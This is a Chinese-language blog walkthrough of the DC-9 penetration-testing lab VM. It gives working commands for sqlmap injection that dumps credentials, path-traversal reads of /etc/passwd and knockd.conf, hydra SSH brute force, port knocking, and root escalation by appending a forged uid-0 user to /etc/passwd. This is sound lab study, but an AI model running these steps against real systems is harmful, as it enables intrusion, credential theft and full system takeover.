本文最后更新于 2026-03-31T22:46:20+08:00
环境搭建
过程和DC-1的环境搭建一样:https://yschen20.github.io/2026/02/19/DC-1/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
渗透测试
先 nmap 扫靶机 IP

然后扫靶机的端口服务
1
| nmap -A -p- 10.234.52.143
|
一个 22 的 SSH,还有一个 80 的 Web 服务

先看 80 的 Web

看到 Manage 有登录页面,尝试弱口令登录失败

继续找其他的,然看到 Display All Records 可以看到所有的记录

还有一个 Search 可以进行搜索,这里想到会不会存在 SQL 注入漏洞

抓包试试确实存在,POST 请求传参search,万能密码成功获取到所有的记录

利用 sqlmap 进行注入
1
| sqlmap -u "http://10.234.52.143/results.php" --data="search=1" --batch
|
可以联合注入或者时间盲注

先看数据库
1
| sqlmap -u "http://10.234.52.143/results.php" --data="search=1" --dbs --batch
|

看users库中有哪些表
1
| sqlmap -u "http://10.234.52.143/results.php" --data="search=1" -D "users" --tables --batch
|

继续看UserDetails表中的列
1
| sqlmap -u "http://10.234.52.143/results.php" --data="search=1" -D "users" -T "UserDetails" --column --batch
|

主要看username和password
1
| sqlmap -u "http://10.234.52.143/results.php" --data="search=1" -D "users" -T "UserDetails" -C username,password --dump --batch
|

或者直接看全部
1
| sqlmap -u "http://10.234.52.143/results.php" --data="search=1" -D "users" -T "UserDetails" --dump --batch
|

想随便找个账号登录进去,结果告诉我不对,没招了

继续看看其他的,还有一个数据库是Staff,看看这里面有什么
1
| sqlmap -u "http://10.234.52.143/results.php" --data="search=1" -D "Staff" --tables --batch
|
也有一个Users表

看看表里的内容
1
| sqlmap -u "http://10.234.52.143/results.php" --data="search=1" -D "Staff" -T "Users" --dump --batch
|
得到了admin的哈希密码

1 2 3 4 5
| +--------+----------------------------------+----------+ | UserID | Password | Username | +--------+----------------------------------+----------+ | 1 | 856f5de590ef37314e7c3bdf6f8a66dc | admin | +--------+----------------------------------+----------+
|
开始想直接用 cmd5 查,但是告诉我付费???

然后想用 hashcat 爆也没爆出来,john也没有,最后网上又找了一个解MD5的网站解出来了:transorbital1
网址:https://toolshu.com/crackmd5

去登录后台,进来后看到File does not exist,猜测是不是像 DC-5 一样存在文件包含

测试发现确实存在
1
| http://10.234.52.143/manage.php?file=../../../../etc/passwd
|

可以看到/etc/passwd中有很多用户,和之前数据库中看到的差不多

之前数据库中爆出的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| +-----------+---------------+ | username | password | +-----------+---------------+ | marym | 3kfs86sfd | | julied | 468sfdfsd2 | | fredf | 4sfd87sfd1 | | barneyr | RocksOff | | tomc | TC&TheBoyz | | jerrym | B8m#48sd | | wilmaf | Pebbles | | bettyr | BamBam01 | | chandlerb | UrAG0D! | | joeyt | Passw0rd | | rachelg | yN72#dsd | | rossg | ILoveRachel | | monicag | 3248dsds7s | | phoebeb | smellycats | | scoots | YR3BVxxxw87 | | janitor | Ilovepeepee | | janitor2 | Hawaii-Five-0 | +-----------+---------------+
|
并且还有个SSH服务呢,尝试利用 hydra 去爆破登录,用户名保存到user.txt中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| marym julied fredf barneyr tomc jerrym wilmaf bettyr chandlerb joeyt rachelg rossg monicag phoebeb scoots janitor janitor2
|
然后是密码保存到pass.txt中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 3kfs86sfd 468sfdfsd2 4sfd87sfd1 RocksOff TC&TheBoyz B8m#48sd Pebbles BamBam01 UrAG0D! Passw0rd yN72#dsd ILoveRachel 3248dsds7s smellycats YR3BVxxxw87 Ilovepeepee Hawaii-Five-0
|
进行爆破,要等一会
1
| hydra -L user.txt -P pass.txt ssh://10.234.52.143
|
可以爆出三个用户

1 2 3
| [22][ssh] host: 10.234.52.143 login: chandlerb password: UrAG0D! [22][ssh] host: 10.234.52.143 login: joeyt password: Passw0rd [22][ssh] host: 10.234.52.143 login: janitor password: Ilovepeepee
|
分别登录看看,看看也没有 SUID 提权、sudo 提权
1 2 3 4
| find / -perm -u=s -type f 2>/dev/null
sudo -l
|
1 2
| ssh chandlerb@10.234.52.143
|
没有有用的

1 2
| ssh joeyt@10.234.52.143
|
也没有

1 2
| ssh janitor@10.234.52.143
|
还是没有

那就看看每个用户的目录下有什么吧,最终可以在janitor用户目录下找到.secrets-for-putin隐藏文件夹

然后想继续的,但突然发现卡住了,一看网络没了,重新连上网后发现还是不行,SSH端口也连不上了,nmap扫一下发现SSH端口关了,我没招了

去网上搜了一下,和knockd服务有关
文章:https://www.cnblogs.com/wsjhk/p/5508051.html

利用之前 80 端口的 Web 服务存在的文件包含漏洞去读配置文件/etc/knockd.conf
1
| http://10.234.52.143/manage.php?file=../../../../etc/knockd.conf
|

1 2 3 4 5 6 7 8 9 10 11
| [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
[closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
|
所以要依次去访问7469,8475,9842这三个端口对其敲门,我直接浏览器访问的
然后再nmap扫一遍就可以看到端口开启了
1
| nmap -A -p- 10.234.52.143
|

继续之前的,进入到.secrets-for-putin文件夹中可以得到passwords-found-on-post-it-notes.txt文件

1 2 3 4 5 6
| BamBam01 Passw0rd smellycats P0Lic#10-4 B4-Tru3-001 4uGU5T-NiGHts
|
又得到了一些密码,将其加入到之前的pass.txt文件中,重新爆一遍
1
| hydra -L user.txt -P pass.txt ssh://10.234.52.143
|

得到了一个新的用户
1
| [22][ssh] host: 10.234.52.143 login: fredf password: B4-Tru3-001
|
去登录
这个用户可以借助 sudo 提权

看一下/opt/devstuff/dist/test/test文件,确实拥有root权限
1
| ls -la /opt/devstuff/dist/test/test
|

想看一下这个文件内容的,结果是一堆乱码,这是个二进制文件,然后就看看/opt/devstuff/dist/test这个目录下有什么其他东西吧
1
| ls -la /opt/devstuff/dist/test
|
一堆.so文件,没什么好看的

返回上两级目录可以看到test.py文件

看一下内容
1
| cat /opt/devstuff/test.py
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
import sys
if len (sys.argv) != 3 : print ("Usage: python test.py read append") sys.exit (1)
else : f = open(sys.argv[1], "r") output = (f.read())
f = open(sys.argv[2], "a") f.write(output) f.close()
|
需要三个参数,第2个参数的文件内容写入到第3个参数的文件中,也就是读取一个文件的内容,然后追加到另一个文件中,test应该是被编译过的python脚本
所以可以利用这个向/etc/passwd中写入一个拥有root权限的用户
先利用 openssl passwd 生成密码:123456

1
| $1$au93sGhv$K5EAyWx6JrVCch7gX8kVl1
|
然后构造一个用户
1
| hacker:$1$au93sGhv$K5EAyWx6JrVCch7gX8kVl1:0:0::/root:/bin/bash
|
靶机有vi命令,可以用来将密码写入到文件1.txt中,这里突然SSH连接又断了,肯定有问题,应该是有个定时任务什么的吧,和之前的做法一样,恢复后利用vi写文件
:wq保存

最后将其添加到/etc/passwd中即可
1
| sudo /opt/devstuff/dist/test/test 1.txt /etc/passwd
|

然后就可以su切换为hacker用户了,密码是123456

最后读flag
1 2
| cd /root cat theflag.txt
|

总结
靶机学到的知识点:
- 还是要多找找可能的注入点,尝试尝试
- knockd服务,端口敲门
- 利用root写文件权限添加自定义新用户提权